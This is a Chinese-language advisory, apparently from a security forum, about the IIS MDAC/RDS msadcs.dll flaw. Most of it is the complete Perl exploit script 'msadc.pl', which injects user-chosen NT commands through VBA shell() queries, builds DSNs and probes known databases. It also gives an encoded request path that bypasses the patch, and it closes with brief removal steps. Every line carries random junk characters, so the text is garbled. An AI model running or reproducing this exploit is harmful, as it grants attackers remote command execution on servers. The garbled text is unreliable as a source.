IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
M,6AD] u4Xrvfb, 涉及程序：
y %T'e(5Ed Microsoft NT server
fY6&PuDf. KpK'?WhX7^ 描述：
\C>I6{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b. t] p 3W27R 详细：
sDwSEg># B 如果你没有时间读详细内容的话，就删除:
t;?
q#!uc c:\Program Files\Common Files\System\Msadc\msadcs.dll
3XA^{&} 有关的安全问题就没有了。
TQ>1u =i zB : 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&KD
m5p {X< t Uco 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;=E3f ^'s 关于利用ODBC远程漏洞的描述，请参看:
KQ 2]VN"?_ E.BMm/WH http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3 )`}#` T %RJW @~! 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6x.#K9@q4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp B,A/
-B\ ,iHl;3 bu 这里不再论述。
MbJV)*Q /]vg_ &)= 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
19lx;^b Dui<$ jl0b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}t-{, 0 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
7.]xcJmt>' iaR'):TD rv\<Q-uQ8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
<vPIC G) i|2Q}$3t2 #!perl
w1.KRe{M #
5jbd!t@L # MSADC/RDS 'usage' (aka exploit) script
|D<~a(0 #
xvW+;3; # by rain.forest.puppy
'\\J95*` #
0Uybh.dC # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ty " k # beta test and find errors!
{=& pnu\ ^6obxwVG use Socket; use Getopt::Std;
0t<TZa]V getopts("e:vd:h:XR", \%args);
x 2 tx{Z bhFz u[B print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
o05) I2 WSh+5](: if (!defined $args{h} && !defined $args{R}) {
qf'uXH print qq~
J%%nv5y Usage: msadc.pl -h <host> { -d <delay> -X -v }
6W$k^<S -h <host> = host you want to scan (ip or domain)
F+}MW/ra@ -d <seconds> = delay between calls, default 1 second
x0
3|L!n -X = dump Index Server path table, if available
|)0kv f? -v = verbose
zfv l<"Rv -e = external dictionary file for step 5
uWgY+ T 2vK{Yw Or a -R will resume a command session
i)eub`uMy }7UE ~; exit;}
"y62Wo6m) SB]|y -su $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
P=V~/,>SZ! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
rs<UWk<q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
z m_mLk$4H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`L0}^ |`9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+A/n <VH if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
b}axw + (?$}Vp if (!defined $args{R}){ $ret = &has_msadc;
$n>.;CV die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8+lM6O ~! <@JK;qm>S print "Please type the NT commandline you want to run (cmd /c assumed):\n"
RW%e% . "cmd /c ";
3d
\bB ! $in=<STDIN>; chomp $in;
|r6<DEg $command="cmd /c " . $in ;
X}_kLfP/9 &;*j Mu6 if (defined $args{R}) {&load; exit;}
&i6WVNGy z0doL b^! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
vrQ/Yf:\B &try_btcustmr;
E{1O<qO< m+,a=sR print "\nStep 2: Trying to make our own DSN...";
ECQ>VeP &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<Ms,0YKx 3~"G27, print "\nStep 3: Trying known DSNs...";
cgml^k\k^ &known_dsn;
c:4 i&|n `WX @1 ]m print "\nStep 4: Trying known .mdbs...";
TLw.rEN!; &known_mdb;
5%uLs}{\q ~
/]u72?rP if (defined $args{e}){
L%I@HB9-Q0 print "\nStep 5: Trying dictionary of DSN names...";
UoBmS 5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*7`;{O 3 /oVl
6 print "Sorry Charley...maybe next time?\n";
^jq QG+`? exit;
Y!"LrkC 'IKV%$k ##############################################################################
SW#
5px` SfEgmp-m sub sendraw { # ripped and modded from whisker
%h( J+_"L6 sleep($delay); # it's a DoS on the server! At least on mine...
wtIXZU x my ($pstr)=@_;
AEp|#H'
> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)jm}h7, die("Socket problems\n");
!S$LRm\ ' if(connect(S,pack "SnA4x8",2,80,$target)){
<"X\~ select(S); $|=1;
7c5+8k3 print $pstr; my @in=<S>;
jgK8} C select(STDOUT); close(S);
+?DP r return @in;
M Zl6 J } else { die("Can't connect...\n"); }}
^ yyL4{/ !^:b?M ##############################################################################
'QeCJ5p] ,l1A]Wx sub make_header { # make the HTTP request
9jBP|I{xI my $msadc=<<EOT
0X !A' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|eU{cK~e^ User-Agent: ACTIVEDATA
au1uFu- Host: $ip
!EB<e5}8wK Content-Length: $clen
F4 `ud; 1H Connection: Keep-Alive
4|ML#aRz _H} 8 eU ADCClientVersion:01.06
P uYAoKG Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e5W 8YNA W+k SL{0 --!ADM!ROX!YOUR!WORLD!
#R-l2OO^] Content-Type: application/x-varg
A]c'`Nf Content-Length: $reqlen
@FO= 0_ ;y (kCzz-_\ EOT
w&8N6gA14 ; $msadc=~s/\n/\r\n/g;
.hPk}B/KV return $msadc;}
= ss(~[ Bi:%}8STH ##############################################################################
62 )Qr
J2W#vFe\ sub make_req { # make the RDS request
lkl+o&D9 my ($switch, $p1, $p2)=@_;
td@I ;d2 my $req=""; my $t1, $t2, $query, $dsn;
3k3-Ts /Ps/ m! if ($switch==1){ # this is the btcustmr.mdb query
}Vjg>" $query="Select * from Customers where City=" . make_shell();
@{n"/6t $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@komb IK $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
__LR!F]=i 0 w Q'~8 elsif ($switch==2){ # this is general make table query
X\sO eb:] $query="create table AZZ (B int, C varchar(10))";
m~c6b{F3Z- $dsn="$p1";}
VC~1QPC9 }w&W\g+E$ elsif ($switch==3){ # this is general exploit table query
w=JO $7 $query="select * from AZZ where C=" . make_shell();
icS% ])3LF $dsn="$p1";}
?V&# nA r 9sq3z|% elsif ($switch==4){ # attempt to hork file info from index server
V7DMn@Ckw $query="select path from scope()";
=[5F~--Tf $dsn="Provider=MSIDXS;";}
eO% w
i.Q #$n >+ lc elsif ($switch==5){ # bad query
Z{XF!pS%H $query="select";
~/C9VR& $dsn="$p1";}
6Uh_&?\% DL<b)# h# $t1= make_unicode($query);
,!
b9 $t2= make_unicode($dsn);
#w]UP#^io $req = "\x02\x00\x03\x00";
y Ny,$1 $req.= "\x08\x00" . pack ("S1", length($t1));
H. o=4[ $req.= "\x00\x00" . $t1 ;
BLaF++Fop $req.= "\x08\x00" . pack ("S1", length($t2));
8=TM _ $req.= "\x00\x00" . $t2 ;
W2>VgMR [ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}B1f_T return $req;}
D`c&Q4$: o{]2W `0r ##############################################################################
Y[sBVz'j5 +-2 W{lX sub make_shell { # this makes the shell() statement
)>"|<h.2] return "'|shell(\"$command\")|'";}
"
l;=j k] 8f`r!/j ##############################################################################
;}B6` v 2y `X) sub make_unicode { # quick little function to convert to unicode
pG&#xRk my ($in)=@_; my $out;
WQiIS0BJ * for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
eL" +_lW return $out;}
h~`^H9?M mE"(d*fe' ##############################################################################
u(W>HVEG |1%eo. sub rdo_success { # checks for RDO return success (this is kludge)
PRal>s&f my (@in) = @_; my $base=content_start(@in);
ls({{34NF if($in[$base]=~/multipart\/mixed/){
e+~@"^| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
]WYddiF return 0;}
`c)[aP{vN #J'V,_ wH ##############################################################################
!&adO,jN+= 7u`:e,' sub make_dsn { # this makes a DSN for us
)tm%0z7R my @drives=("c","d","e","f");
hsAk7KC print "\nMaking DSN: ";
) vD: foreach $drive (@drives) {
Z~AgZM
R print "$drive: ";
qDS~|<Y5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+[Izz~ _p "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
H krh d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M 4E|^p=5 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
uCx6/ n6' return 0 if $2 eq "404"; # not found/doesn't exist
rL,kDSLs if($2 eq "200") {
Z&|Dp*Z foreach $line (@results) {
GJ\bZ"vDo return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z2i Wr } return 0;}
6 \?GY Q k2*=B Vh ##############################################################################
.6c
Bx 2)Q%lEm`SP sub verify_exists {
fQxlYD'peb my ($page)=@_;
l0PXU)>C my @results=sendraw("GET $page HTTP/1.0\n\n");
SveP:uJA[ return $results[0];}
_"t "orD6 0
s@>e ##############################################################################
CG
,H W 'PW;., sub try_btcustmr {
uHuL9Q^ my @drives=("c","d","e","f");
Am<){&XT
] my @dirs=("winnt","winnt35","winnt351","win","windows");
RF
[81/w] V#+M lN foreach $dir (@dirs) {
z
$iI print "$dir -> "; # fun status so you can see progress
79 \SbB foreach $drive (@drives) {
h
^Wm03w print "$drive: "; # ditto
PKZMuEEy, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.7HEI;4 $reqlenlen=length( "$reqlen" );
'#Q\p6G&_ $clen= 206 + $reqlenlen + $reqlen;
B$G9#G6pZ 7yal T. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
m0*_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Z*Fn 2I4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
C;YtMY: _4LDzVjNRe ##############################################################################
c3 )6{ m[%P3 sub odbc_error {
Dc3bG@K*G my (@in)=@_; my $base;
km,@yU my $base = content_start(@in);
+hIMfhF if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
gb26Y!7% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wc ;^C?PX $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S Q`KR 'E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N p? / r} return $in[$base+4].$in[$base+5].$in[$base+6];}
*X 2dS
{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,[u .5vC print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
lGEfI&1%! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
17l c5#^L Aj+0R?9tG ##############################################################################
: n\D #VuiY sub verbose {
m, SWG[~ my ($in)=@_;
(wp?tMN5# return if !$verbose;
bKQ-PM&I/t print STDOUT "\n$in\n";}
fK4NmdTV \O\veB8 ##############################################################################
R}$A>)%dx ~g &Gi)je sub save {
A[Vhy;xz my ($p1, $p2, $p3, $p4)=@_;
3 Ol`i$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
9 j1
tc T print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6~Y`<#X5J close OUT;}
0T:ZWRjH vl5r ~F ##############################################################################
mam(h{f$ Ns-3\~QS i sub load {
F"a31`L>H my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mk
+BeK open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{&h= @p=<IN>; close(IN);
@qB1:==@7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
gal.<SVW $target= inet_aton($ip) || die("inet_aton problems");
$u{ 8wF/) print "Resuming to $ip ...";
^S^7 u $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ig?Tj4kD if($p[1]==1) {
'In qa;TQz $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_UUp+Hz $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
k5)e7L b( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
M9wj
};vy if (rdo_success(@results)){print "Success!\n";}
D?P 1\<A ~ else { print "failed\n"; verbose(odbc_error(@results));}}
R1\$}ep^ elsif ($p[1]==3){
,8@U-7f, if(run_query("$p[3]")){
J,^e q@( print "Success!\n";} else { print "failed\n"; }}
ysQ8==`38i elsif ($p[1]==4){
1ogh8% if(run_query($drvst . "$p[3]")){
mYqR N1% print "Success!\n"; } else { print "failed\n"; }}
qjd8Q exit;}
t 5 #'Lt_Yf! ##############################################################################
=]F15:%Z q \ B
D' " sub create_table {
qGKQrb,K my ($in)=@_;
FrD,)Ad8Q $reqlen=length( make_req(2,$in,"") ) - 28;
ahm@ +/2 $reqlenlen=length( "$reqlen" );
2~SjRIp Uw $clen= 206 + $reqlenlen + $reqlen;
j!QP>AM|` my @results=sendraw(make_header() . make_req(2,$in,""));
vq *)2. return 1 if rdo_success(@results);
}_o!f V my $temp= odbc_error(@results); verbose($temp);
>-YWq return 1 if $temp=~/Table 'AZZ' already exists/;
,a?$F1Z- return 0;}
"e~"-B7(\Y ZYD3[" ~x ##############################################################################
OcGHMGdn w1P8p>vA1 sub known_dsn {
r2
o-/$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
N;d@)h(N! my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
*27*&&=)H "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m' suAj0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
;&G8e* bM2 cakb.Q foreach $dSn (@dsns) {
,-{ 2ai_ print ".";
$@:z4S(
next if (!is_access("DSN=$dSn"));
7nL3+Pq if(create_table("DSN=$dSn")){
b<mxf\b print "$dSn successful\n";
/ =2 if(run_query("DSN=$dSn")){
Q d$!?h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
j{u! /FD print "Something's borked. Use verbose next time\n";}}} print "\n";}
1?bX$$y l; *$o{+YP ##############################################################################
xYCX}bksh N HL{.8L{ sub is_access {
['rqz1DL5 my ($in)=@_;
VwV`tK it $reqlen=length( make_req(5,$in,"") ) - 28;
-964#>n[ $reqlenlen=length( "$reqlen" );
v(2|n}qY $clen= 206 + $reqlenlen + $reqlen;
E>3fk my @results=sendraw(make_header() . make_req(5,$in,""));
V_"K my $temp= odbc_error(@results);
B!cg)Y?.bd verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?[G !6 return 0;}
Ii9@ j1-g ;n ,@[v ##############################################################################
2 v6QUf 4_w+NI,; sub run_query {
'9MtIcNb my ($in)=@_;
>-{)wk;1& $reqlen=length( make_req(3,$in,"") ) - 28;
Q}MS $[y $reqlenlen=length( "$reqlen" );
|Skk1 # $clen= 206 + $reqlenlen + $reqlen;
yE e4{j$ my @results=sendraw(make_header() . make_req(3,$in,""));
R1DXi return 1 if rdo_success(@results);
U{2UKD@PM my $temp= odbc_error(@results); verbose($temp);
1wpeYn7>W return 0;}
{D
jz']
o(I[_oUy\ ##############################################################################
@P^8?!i+ 0=r.I}x sub known_mdb {
jK^'s6i# my @drives=("c","d","e","f","g");
=-c"~4 my @dirs=("winnt","winnt35","winnt351","win","windows");
>}*i Qq my $dir, $drive, $mdb;
pGy(JvMw" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u8 Au ` id f~"a # this is sparse, because I don't know of many
^rc!X]C9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
!v2D 18( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
q.OkZI0n "\\system32\\certmdb.mdb",
Et=N`k _gO "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
FSqS]6b3 . ` OdnLGy my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I
=t{ u; "\\cfusion\\cfapps\\forums\\forums_.mdb",
Zq--m/ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ny>tJ~I "\\cfusion\\cfapps\\security\\realm_.mdb",
4 }l,F "\\cfusion\\cfapps\\security\\data\\realm.mdb",
r2T-= XWB "\\cfusion\\database\\cfexamples.mdb",
/
W} Za&] "\\cfusion\\database\\cfsnippets.mdb",
0.+"K} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
uOqWMRsoi "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
rZDlPp>BPZ "\\cfusion\\brighttiger\\database\\cleam.mdb",
%/:{x()G
"\\cfusion\\database\\smpolicy.mdb",
Z%Nl<i "\\cfusion\\database\cypress.mdb",
L!7 *U.+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
qF{u+M s "\\website\\cgi-win\\dbsample.mdb",
9' I
I! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Uu9\;f "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@L8('8~d ); #these are just
<aR8fU foreach $drive (@drives) {
;K:) R_H foreach $dir (@dirs){
JU7EC~7|2c foreach $mdb (@sysmdbs) {
"$? f &* print ".";
?#^_yd|< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Z4Nl{
6 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
bGvALz' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
V@Z8t8 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
J 3fcnI } else { print "Something's borked. Use verbose next time\n"; }}}}}
'Pudy\Ab $-$^r; foreach $drive (@drives) {
oXg KuR foreach $mdb (@mdbs) {
2B7X~t>8a print ".";
jd$uOn.r if(create_table($drv . $drive . $dir . $mdb)){
:J-@+_ J print "\n" . $drive . $dir . $mdb . " successful\n";
<h2WM (n if(run_query($drv . $drive . $dir . $mdb)){
o [Yxh%T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Da!A1|" } else { print "Something's borked. Use verbose next time\n"; }}}}
<LDVO'I0 ! }
gRuNC=sR A
e&t#,) ##############################################################################
E ?( 5Cd>p< sub hork_idx {
$
+h~V C print "\nAttempting to dump Index Server tables...\n";
Vh :%e24Z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
\cdNyVY $reqlen=length( make_req(4,"","") ) - 28;
%_wX9Z T $reqlenlen=length( "$reqlen" );
2l#Ogn`k $clen= 206 + $reqlenlen + $reqlen;
MJJy
mi'b my @results=sendraw2(make_header() . make_req(4,"",""));
SUXRWFl if (rdo_success(@results)){
ewqfs/ my $max=@results; my $c; my %d;
^0 R.U+?+ for($c=19; $c<$max; $c++){
<8[BB7 $results[$c]=~s/\x00//g;
BhkJ >4# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
.N8AkQ (Ok $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<jT6|2' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
K*Zf^g
m $d{"$1$2"}="";}
# CoJ S[ t foreach $c (keys %d){ print "$c\n"; }
%^m6Q! } else {print "Index server doesn't seem to be installed.\n"; }}
S*6P=O* 1Tf"<D p ##############################################################################
pGz-5afL \~1M\gZP sub dsn_dict {
w:
~66 TCI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
A1:<-TF6^p while(<IN>){
, gk49z9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7_taqcj next if (!is_access("DSN=$dSn"));
QF(.fq8, U if(create_table("DSN=$dSn")){
|k:MXI print "$dSn successful\n";
Qj? +R F6( if(run_query("DSN=$dSn")){
3qPj +@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
j0!Z 20 print "Something's borked. Use verbose next time\n";}}}
m]BxGwT=m print "\n"; close(IN);}
A^2VH$j]+ "W;Gv I
##############################################################################
Qwb=N *D1 ^Se sub sendraw2 { # ripped and modded from whisker
mc;Z#"kf sleep($delay); # it's a DoS on the server! At least on mine...
-
*!R my ($pstr)=@_;
y~An'+yBa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
v' 7,(.E die("Socket problems\n");
k'X
v*U if(connect(S,pack "SnA4x8",2,80,$target)){
z iR} print "Connected. Getting data";
kt.z,<w5O open(OUT,">raw.out"); my @in;
W~+
] 7< select(S); $|=1; print $pstr;
XKB)++Q= while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
tT87TmNsA close(OUT); select(STDOUT); close(S); return @in;
3>%rm%ffE } else { die("Can't connect...\n"); }}
V} Y %9V 7y:%^sl ##############################################################################
.` & ($W V*rAZ0 sub content_start { # this will take in the server headers
1u7Kc'.xc my (@in)=@_; my $c;
"qUUH4mR` for ($c=1;$c<500;$c++) {
bB'iK4 if($in[$c] =~/^\x0d\x0a/){
s@K)RhTY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
eKNZ?!c= else { return $c+1; }}}
:}0y[qc3 return -1;} # it should never get here actually
jKZJ0`06q "tB"C6b ##############################################################################
B B5(=n+ .t''(0_kC sub funky {
`;4P?!WG my (@in)=@_; my $error=odbc_error(@in);
Ro$'|}(+A if($error=~/ADO could not find the specified provider/){
4G0Er?D
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$Zp\^cIE+ exit;}
z9pv| if($error=~/A Handler is required/){
bl NJ print "\nServer has custom handler filters (they most likely are patched)\n";
)#z c$D^U exit;}
okJ+Yl.[?7 if($error=~/specified Handler has denied Access/){
%Kx:'m%U print "\nServer has custom handler filters (they most likely are patched)\n";
{^2``NYM_ exit;}}
eWSA " l
vPge ##############################################################################
[ !/ u, .5'M^ sub has_msadc {
\ni?_F(Y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
A;n3"" my $base=content_start(@results);
9F)+p7VJq return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"hi?/B#d return 0;}
-j dS8n4 L\}o(P( ########################
.'JO7of _Q,`Qn@|BD fqA\Rp6Z 解决方案：
j'FSd*5m 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;rYL\`6L 2、移除web 目录: /msadc
